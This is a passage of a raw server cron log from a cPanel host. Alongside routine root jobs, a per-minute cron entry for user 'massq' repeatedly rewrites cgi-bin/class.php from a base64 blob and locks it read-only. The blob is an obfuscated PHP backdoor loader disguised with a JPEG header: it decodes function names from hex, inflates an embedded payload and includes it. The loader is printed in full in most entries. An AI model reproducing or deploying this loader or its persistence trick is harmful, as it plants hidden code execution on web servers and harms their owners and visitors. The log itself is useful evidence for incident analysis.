moxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:22:01 server CROND[5539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:22:01 server CROND[5540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:22:01 server CROND[5541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:23:01 server CROND[5912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:23:01 server CROND[5913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:23:01 server CROND[5914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:24:01 server CROND[6278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:24:01 server CROND[6279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:24:01 server CROND[6280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:25:01 server CROND[6655]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:25:01 server CROND[6657]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 23:25:01 server CROND[6667]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 23:25:01 server CROND[6666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:25:01 server CROND[6669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:25:01 server CROND[6673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:25:01 server CROND[6668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:26:01 server CROND[7539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:26:01 server CROND[7540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:26:01 server CROND[7541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:27:01 server CROND[7966]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 23:27:01 server CROND[7967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:27:01 server CROND[7968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:27:01 server CROND[7969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:28:01 server CROND[8438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:28:01 server CROND[8439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:28:01 server CROND[8440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:29:01 server CROND[8810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:29:01 server CROND[8811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:29:01 server CROND[8812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:30:01 server CROND[9189]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 23:30:01 server CROND[9190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:30:01 server CROND[9192]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 23:30:01 server CROND[9193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:30:01 server CROND[9191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:30:01 server CROND[9196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:30:01 server CROND[9198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:30:01 server CROND[9197]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 23:31:01 server CROND[10082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:31:01 server CROND[10083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:31:01 server CROND[10084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:32:01 server CROND[10446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:32:01 server CROND[10447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:32:01 server CROND[10448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:33:01 server CROND[10819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:33:01 server CROND[10820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:33:01 server CROND[10821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 23:34:01 server CROND[11279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
